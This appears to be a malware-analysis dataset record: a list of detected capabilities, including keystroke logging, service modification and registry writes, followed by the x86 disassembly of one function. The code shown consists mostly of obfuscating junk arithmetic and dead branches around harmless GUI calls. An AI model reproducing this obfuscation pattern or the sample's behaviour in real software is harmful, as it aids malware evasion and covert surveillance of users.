Function at 0x1001dab3
Capabilities:
Check os version
Create directory
Create process on windows
Extract resource via kernel32 functions
Get file attributes
Get file size
Get system information on windows
Identify system language via api
Log keystrokes
Modify service
Parse pe header
Query or enumerate registry key
Query service status
Set registry value
Start service
Suspend thread

Disassembly:
mov eax, 0x100757e5
call fcn.10074990
mov eax, 0x113c
call fcn.10070db0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x70], ecx
mov edi, 0xc1d6b3bf
mov byte [ebp - 0x75], dl
inc ebx
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x40], 0xfffffffb
lea ecx, [ebp - 0x7f4]
push ebx
call fcn.10011c05
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x38], 0xea1dc7e9
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1001db1c
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x144], 0xfffffff8
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1001db03
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1001db42
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x7f4]
call fcn.10011c91
mov dword [eax], 0xfffffff6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1001db24
xor eax, eax
mov dword [ebp - 0x144], eax
mov esi, 0xfffb
jmp 0x1001dbcd
mov dword [ebp - 0x40], 0x3d9b9503
mov dword [ebp - 0x44], 0xb780f885
mov dword [ebp - 0x44], 2
mov eax, dword [ebp - 0x144]
mov ecx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x40]
inc ecx
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
sub ecx, eax
mov eax, dword [ebp - 0x144]
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setge dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x40]
setge cl
cmp esi, ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
setne dl
xor eax, eax
cmp edx, 0xfaab39e
setne al
sub eax, dword [ebp - 0x40]
sub eax, 0x1dbdae4
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
xor eax, eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x40], eax
inc dword [ebp - 0x144]
cmp dword [ebp - 0x144], 0x12
jne 0x1001db4f
mov ecx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x144]
imul ecx, eax
imul eax, dword [ebp - 0x144], 0xfc71
dec eax
neg eax
sbb eax, eax
neg eax
sub ecx, eax
mov eax, dword [ebp - 0x144]
add eax, 0xfff6
add eax, ecx
jne 0x1001dc10
cmp dword [ebp - 0x2c], eax
je 0x1001dc12
mov eax, ebx
mov ecx, dword [ebp - 0x2c]
xor edx, edx
imul ecx, eax
mov eax, dword [ebp - 0x144]
cmp ecx, eax
lea ecx, [ebp - 0x7f4]
setge dl
mov dword [ebp - 0x144], edx
add edx, 0xc4e52cc
neg edx
sbb edx, edx
xor eax, eax
inc edx
mov dword [ebp - 0x40], edx
push eax
call fcn.10011c91
mov edx, dword [ebp - 0x40]
mov esi, eax
mov ecx, dword [ebp - 0x2c]
xor eax, eax
cmp edx, ecx
lea ecx, [ebp - 0x7f4]
setne al
mov dword [esi], eax
mov eax, dword [ebp - 0x2c]
xor eax, eax
push eax
call fcn.10011c91
xor ecx, ecx
cmp dword [eax], 0xc752
setge cl
mov dword [ebp - 0x38], ecx
lea ecx, [ebp - 0x7f4]
or dword [ebp - 4], 0xffffffff
call fcn.10011c8c
mov dword [ebp - 0x2c], edi
lea ecx, [ebp - 0x974]
mov dword [ebp - 0x40], 0xfffffffb
push ebx
call fcn.10011c05
mov dword [ebp - 4], ebx
xor eax, eax
mov dword [ebp - 0x38], 0xea1dc7e9
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1001dcca
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xfc], 0xfffffff8
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1001dcb1
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1001dcf0
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x974]
call fcn.10011c91
mov dword [eax], 0xfffffff6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1001dcd2
xor eax, eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0x12
je 0x1001dd93
mov esi, 0xfffb
mov dword [ebp - 0x40], 0x3d9b9503
mov dword [ebp - 0x44], 0xb780f885
mov dword [ebp - 0x44], 2
mov eax, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0xfc]
mov eax, dword [ebp - 0x40]
inc ecx
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
sub ecx, eax
mov eax, dword [ebp - 0xfc]
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setge dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x40]
setge cl
cmp esi, ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
setne dl
xor eax, eax
cmp edx, 0xfaab39e
setne al
sub eax, dword [ebp - 0x40]
sub eax, 0x1dbdae4
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
xor eax, eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x40], eax
inc dword [ebp - 0xfc]
cmp dword [ebp - 0xfc], 0x12
jne 0x1001dd08
mov ecx, dword [ebp - 0xfc]
mov eax, dword [ebp - 0xfc]
imul ecx, eax
imul eax, dword [ebp - 0xfc], 0xfc71
dec eax
neg eax
sbb eax, eax
neg eax
sub ecx, eax
mov eax, dword [ebp - 0xfc]
add eax, 0xfff6
add eax, ecx
jne 0x1001ddc9
cmp dword [ebp - 0x2c], eax
je 0x1001ddcb
mov eax, ebx
mov ecx, dword [ebp - 0x2c]
xor edx, edx
imul ecx, eax
mov eax, dword [ebp - 0xfc]
cmp ecx, eax
lea ecx, [ebp - 0x974]
setge dl
mov dword [ebp - 0xfc], edx
add edx, 0xc4e52cc
neg edx
sbb edx, edx
xor eax, eax
inc edx
mov dword [ebp - 0x40], edx
push eax
call fcn.10011c91
mov edx, dword [ebp - 0x40]
mov esi, eax
mov ecx, dword [ebp - 0x2c]
xor eax, eax
cmp edx, ecx
lea ecx, [ebp - 0x974]
setne al
mov dword [esi], eax
mov eax, dword [ebp - 0x2c]
xor eax, eax
push eax
call fcn.10011c91
xor ecx, ecx
cmp dword [eax], 0xc752
setge cl
mov dword [ebp - 0x38], ecx
lea ecx, [ebp - 0x974]
or dword [ebp - 4], 0xffffffff
call fcn.10011c8c
xor eax, eax
mov dword [ebp - 0x28], 0xa7084bc
mov dword [ebp - 0x50], eax
lea ecx, [ebp - 0xa30]
push ebx
call fcn.10011c05
push 2
pop esi
mov dword [ebp - 4], esi
xor eax, eax
mov dword [ebp - 0x38], 0xf76ec751
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jge 0x1001de89
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xa30]
call fcn.10011c91
or dword [eax], 0xffffffff
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x1001de6e
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001de9c
push eax
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
xor eax, eax
push eax
lea ecx, [ebp - 0xa30]
call fcn.10011c91
lea ecx, [ebp - 0xa30]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
or dword [ebp - 4], 0xffffffff
call fcn.10011c8c
mov eax, dword [ebp - 0x28]
xor edx, edx
cmp eax, 0xd9ba
push 3
setge dl
xor ecx, ecx
sub edx, dword [ebp - 0x28]
imul edx, dword [ebp - 0x28]
imul eax, dword [ebp - 0x28], 0xa7b7
sub edx, 0x7552
cmp eax, edx
setle cl
add ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x28]
add eax, 0x32bf677c
add eax, ecx
lea ecx, [ebp - 0xa24]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x18], 9
mov dword [ebp - 0x44], 0xfffffff8
call fcn.10011c05
push 3
pop ecx
xor eax, eax
mov dword [ebp - 4], ecx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x1001df3e
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xa24]
call fcn.10011c91
mov dword [eax], 0xffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1001df1f
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1001df5e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xcbc], 0xa7974498
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1001df46
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x1001dfdb
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp eax, 0xd8ea5f34
mov eax, 0xffff0008
setne cl
sub eax, ecx
add eax, dword [ebp - 0x18]
jne 0x1001df89
cmp dword [ebp - 0x18], eax
je 0x1001df92
jmp 0x1001df8b
xor eax, eax
cmp dword [ebp - 0x44], eax
je 0x1001df92
mov eax, ebx
imul eax, eax, 0x1ae9
xor ecx, ecx
push esi
cmp eax, 0x498
mov eax, dword [ebp - 0x44]
setg cl
add ecx, 0xd8ff
cmp ecx, 0xffff
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setl cl
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0xa24]
call fcn.10011c91
mov ecx, dword [ebp - 0x18]
sub ecx, dword [eax]
cmp ecx, 0xcd95ff79
jb 0x1001dfdb
xor eax, eax
jmp 0x1001dfdd
mov eax, ebx
mov dword [ebp - 0xcbc], eax
lea ecx, [ebp - 0xa24]
or dword [ebp - 4], 0xffffffff
call fcn.10011c8c
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jge 0x1001e017
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x14c], 0
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x1001dfff
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jl 0x1001e037
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001e032
push eax
push eax
call dword [sym.imp.USER32.dll_LoadCursorA]
xor eax, eax
dec dword [ebp - 0x18]
jns 0x1001e01f
mov dword [ebp - 0x18], 0xffffffe7
jmp 0x1001e097
mov dword [ebp - 0x1c], 0xb9ae77ab
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jg 0x1001e094
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x14c], 0
jne 0x1001e092
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov edx, dword [ebp + eax*4 - 0x14c]
add edx, dword [ebp - 0x1c]
imul edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x14c]
cmp eax, edx
mov eax, dword [ebp - 0x1c]
setle cl
mov dword [ebp + eax*4 - 0x14c], ecx
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jle 0x1001e04f
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x14
jl 0x1001e040
push 5
mov dword [ebp - 0x28], edi
lea ecx, [ebp - 0x298]
pop eax
mov dword [ebp - 0x40], 0xfffffffb
mov dword [ebp - 0x20], 9
mov dword [ebp - 0x40], eax
push 3
call fcn.10011c05
xor eax, eax
mov dword [ebp - 4], 4
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1001e0ea
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x654], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1001e0d2
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1001e10f
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x298]
call fcn.10011c91
and dword [eax], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1001e0f3
xor eax, eax
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x20]
je 0x1001e131
xor eax, eax
cmp dword [ebp - 0x654], eax
je 0x1001e133
mov edi, ebx
jmp 0x1001e135
xor eax, eax
mov edi, eax
push esi
lea ecx, [ebp - 0x298]
call fcn.10011c91
mov ecx, dword [ebp - 0x20]
lea edx, [edi + 3]
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov esi, eax
xor eax, eax
cmp edx, ecx
setne al
mov dword [esi], eax
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jg 0x1001e20d
push dword [ebp - 0x20]
lea ecx, [ebp - 0x298]
call fcn.10011c91
push dword [ebp - 0x20]
lea ecx, [ebp - 0x298]
mov esi, eax
call fcn.10011c91
mov ecx, dword [esi]
sub ecx, dword [eax]
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, dword [ebp - 0x20]
jl 0x1001e1b3
push dword [ebp - 0x20]
lea ecx, [ebp - 0x298]
call fcn.10011c91
mov eax, dword [eax]
inc eax
je 0x1001e1b3
push 2
lea ecx, [ebp - 0x298]
call fcn.10011c91
push ebx
lea ecx, [ebp - 0x298]
call fcn.10011c91
push 2
lea ecx, [ebp - 0x298]
call fcn.10011c91
xor ebx, ebx
lea ecx, [ebp - 0x298]
push 2
cmp dword [eax], ebx
setl bl
call fcn.10011c91
mov dword [eax], ebx
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], al
je 0x1001e1fd
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
push 1
pop ebx
jle 0x1001e167
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x298]
call fcn.10011c8c
push ebx
lea ecx, [ebp - 0x80c]
call fcn.10011c05
push 5
pop eax
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x38], 0xea1dc7e9
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1001e259
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x108], 0xfffffff8
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1001e240
xor eax, eax
mov dword [ebp - 0x48], 0xfffe
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001e27e
push 0x15b2
push 0x1354
call edi
push eax
call dword [sym.imp.USER32.dll_SetClassLongA]
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001e299
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SaveDC]
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1001e2bf
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x80c]
call fcn.10011c91
mov dword [eax], 0xfffffff6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1001e2a1
xor eax, eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0x12
je 0x1001e364
mov dword [ebp - 0x40], 0x3d9b9503
mov dword [ebp - 0x44], 0xb780f885
mov dword [ebp - 0x44], 2
mov eax, dword [ebp - 0x108]
mov ecx, dword [ebp - 0x108]
mov eax, dword [ebp - 0x40]
inc ecx
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
sub ecx, eax
mov eax, dword [ebp - 0x108]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setge dl
xor ecx, ecx
cmp eax, edx
mov eax, 0xfffb
setge cl
cmp eax, ecx
mov eax, dword [ebp - 0x40]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
setne dl
xor eax, eax
cmp edx, 0xfaab39e
setne al
sub eax, dword [ebp - 0x40]
sub eax, 0x1dbdae4
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
xor eax, eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x40], eax
inc dword [ebp - 0x108]
cmp dword [ebp - 0x108], 0x12
jne 0x1001e2d2
xor eax, eax
mov dword [ebp - 0x24], 0xffff
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 2
jge 0x1001e38d
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xe8c], 0xfffffffb
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 2
jl 0x1001e374
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001e3a1
push eax
push eax
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringByteLen]
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x1001e3dc
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 2
jge 0x1001e3c8
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xe8c], 0x51d69f42
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x1001e3af
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001e3f6
push eax
push eax
push eax
call dword [sym.imp.USER32.dll_UnionRect]
jmp 0x1001e3f6
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001e3f6
push 0xe00
push 0x2221
push eax
call dword [sym.imp.USER32.dll_DeleteMenu]
mov ecx, dword [ebp - 0x108]
mov eax, dword [ebp - 0x108]
imul ecx, eax
imul eax, dword [ebp - 0x108], 0xfc71
dec eax
neg eax
sbb eax, eax
neg eax
sub ecx, eax
mov eax, dword [ebp - 0x108]
add eax, 0xfff6
add eax, ecx
jne 0x1001e42c
cmp dword [ebp - 0x28], eax
je 0x1001e42e
mov eax, ebx
mov ecx, dword [ebp - 0x28]
xor edx, edx
imul ecx, eax
mov eax, dword [ebp - 0x108]
cmp ecx, eax
lea ecx, [ebp - 0x80c]
setge dl
mov dword [ebp - 0x108], edx
add edx, 0xc4e52cc
neg edx
sbb edx, edx
xor eax, eax
inc edx
mov dword [ebp - 0x40], edx
push eax
call fcn.10011c91
mov edx, dword [ebp - 0x40]
mov esi, eax
mov ecx, dword [ebp - 0x28]
xor eax, eax
cmp edx, ecx
lea ecx, [ebp - 0x80c]
setne al
mov dword [esi], eax
mov eax, dword [ebp - 0x28]
xor eax, eax
push eax
call fcn.10011c91
xor ecx, ecx
cmp dword [eax], 0xc752
setge cl
mov dword [ebp - 0x38], ecx
lea ecx, [ebp - 0x80c]
or dword [ebp - 4], 0xffffffff
call fcn.10011c8c
mov dword [ebp - 0x20], ebx
lea ecx, [ebp - 0x330]
push 3
call fcn.10011c05
push 6
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x44], 0xffffffff
push 0xfffffffffffffff7
pop eax
mov dword [ebp - 0x44], eax
xor eax, eax
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x50], 0x7d69fdb8
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1001e4f8
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xb0], 0xb969
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1001e4e0
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1001e51d
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x330]
call fcn.10011c91
and dword [eax], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1001e501
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001e53d
push 0x1d5c
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
xor eax, eax
cmp dword [ebp - 0x20], eax
jne 0x1001e5f5
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0xb0], ebx
jge 0x1001e56d
push 2
lea ecx, [ebp - 0x330]
call fcn.10011c91
mov eax, dword [ebp - 0xb0]
lea ecx, [ebp - 0x330]
push ebx
call fcn.10011c91
mov edx, dword [ebp - 0x20]
xor ebx, ebx
mov ecx, dword [ebp - 0x20]
cmp edx, ecx
push 2
setg bl
sub ebx, dword [eax]
mov eax, dword [ebp - 0xb0]
neg ebx
sbb ebx, ebx
xor edx, edx
neg ebx
cmp ebx, eax
mov eax, dword [ebp - 0x38]
setne dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x330]
call fcn.10011c91
mov edx, dword [ebp - 0x44]
mov esi, eax
mov ecx, dword [ebp - 0x20]
xor eax, eax
cmp edx, ecx
lea ecx, [ebp - 0x330]
push 2
setne al
xor ebx, ebx
cmp eax, dword [esi]
pop esi
push esi
setne bl
call fcn.10011c91
xor ecx, ecx
cmp ebx, dword [eax]
setge cl
xor ebx, ebx
mov dword [ebp - 0x44], ecx
inc ebx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x20]
jmp 0x1001e5f8
push 2
pop esi
mov eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x20]
cmp eax, 0xf806
jg 0x1001e60b
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x330]
mov eax, dword [ebp - 0xb0]
push esi
call fcn.10011c91
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x330]
push esi
call fcn.10011c91
xor ecx, ecx
cmp dword [eax], ecx
setle cl
mov dword [ebp - 0x50], ecx
lea ecx, [ebp - 0x330]
or dword [ebp - 4], 0xffffffff
call fcn.10011c8c
push 3
pop edi
mov dword [ebp - 0x18], 9
lea ecx, [ebp - 0xbd4]
mov dword [ebp - 0x44], 0xfffffff8
push edi
call fcn.10011c05
xor eax, eax
mov dword [ebp - 4], 7
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x1001e694
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xbd4]
call fcn.10011c91
mov dword [eax], 0xffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1001e676
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1001e6b4
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xccc], 0xa7974498
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1001e69c
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x1001e731
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp eax, 0xd8ea5f34
mov eax, 0xffff0008
setne cl
sub eax, ecx
add eax, dword [ebp - 0x18]
jne 0x1001e6df
cmp dword [ebp - 0x18], eax
je 0x1001e6e8
jmp 0x1001e6e1
xor eax, eax
cmp dword [ebp - 0x44], eax
je 0x1001e6e8
mov eax, ebx
imul eax, eax, 0x1ae9
xor ecx, ecx
push esi
cmp eax, 0x498
mov eax, dword [ebp - 0x44]
setg cl
add ecx, 0xd8ff
cmp ecx, 0xffff
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setl cl
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0xbd4]
call fcn.10011c91
mov ecx, dword [ebp - 0x18]
sub ecx, dword [eax]
cmp ecx, 0xcd95ff79
jb 0x1001e731
xor eax, eax
jmp 0x1001e733
mov eax, ebx
mov dword [ebp - 0xccc], eax
lea ecx, [ebp - 0xbd4]
or dword [ebp - 4], 0xffffffff
call fcn.10011c8c
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jge 0x1001e76d
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x10c], 0
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x1001e755
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jl 0x1001e78d
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001e788
push eax
push eax
call dword [sym.imp.USER32.dll_LoadCursorA]
xor eax, eax
dec dword [ebp - 0x18]
jns 0x1001e775
mov dword [ebp - 0x18], 0xffffffe7
jmp 0x1001e7ed
mov dword [ebp - 0x1c], 0xb9ae77ab
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jg 0x1001e7ea
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x10c], 0
jne 0x1001e7e8
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov edx, dword [ebp + eax*4 - 0x10c]
add edx, dword [ebp - 0x1c]
imul edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x10c]
cmp eax, edx
mov eax, dword [ebp - 0x1c]
setle cl
mov dword [ebp + eax*4 - 0x10c], ecx
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jle 0x1001e7a5
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x14
jl 0x1001e796
push 5
pop eax
mov dword [ebp - 0x14], 0xc1d6b3bf
lea ecx, [ebp - 0x2bc]
mov dword [ebp - 0x20], 9
mov dword [ebp - 0x40], eax
push edi
call fcn.10011c05
xor eax, eax
mov dword [ebp - 4], 8
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1001e83c
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x6fc], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1001e824
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x1001e85f
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x2bc]
call fcn.10011c91
and dword [eax], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1001e844
xor eax, eax
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x20]
je 0x1001e881
xor eax, eax
cmp dword [ebp - 0x6fc], eax
je 0x1001e883
mov edi, ebx
jmp 0x1001e885
xor eax, eax
mov edi, eax
push esi
lea ecx, [ebp - 0x2bc]
call fcn.10011c91
mov ecx, dword [ebp - 0x20]
lea edx, [edi + 3]
mov esi, eax
xor eax, eax
cmp edx, ecx
push 2
setne al
mov dword [esi], eax
xor eax, eax
mov dword [ebp - 0x20], eax
pop esi
cmp dword [ebp - 0x20], esi
jg 0x1001e961
push dword [ebp - 0x20]
lea ecx, [ebp - 0x2bc]
call fcn.10011c91
push dword [ebp - 0x20]
lea ecx, [ebp - 0x2bc]
mov esi, eax
call fcn.10011c91
mov ecx, dword [esi]
sub ecx, dword [eax]
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, dword [ebp - 0x20]
jl 0x1001e903
push dword [ebp - 0x20]
lea ecx, [ebp - 0x2bc]
call fcn.10011c91
push 2
pop esi
mov eax, dword [eax]
inc eax
je 0x1001e906
push esi
lea ecx, [ebp - 0x2bc]
call fcn.10011c91
jmp 0x1001e906
push 2
pop esi
push ebx
lea ecx, [ebp - 0x2bc]
call fcn.10011c91
push esi
lea ecx, [ebp - 0x2bc]
call fcn.10011c91
xor ebx, ebx
lea ecx, [ebp - 0x2bc]
push esi
cmp dword [eax], ebx
setl bl
call fcn.10011c91
mov dword [eax], ebx
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], al
je 0x1001e952
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
inc dword [ebp - 0x20]
push 1
pop ebx
cmp dword [ebp - 0x20], esi
jle 0x1001e8b3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2bc]
call fcn.10011c8c
push 0xfffffffffffffffb
pop edi
mov dword [ebp - 0x40], edi
xor eax, eax
mov dword [ebp - 0x48], 0xfffe
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], al
je 0x1001e9a0
push 0x15b2
push 0x1354
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetClassLongA]
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001e9bd
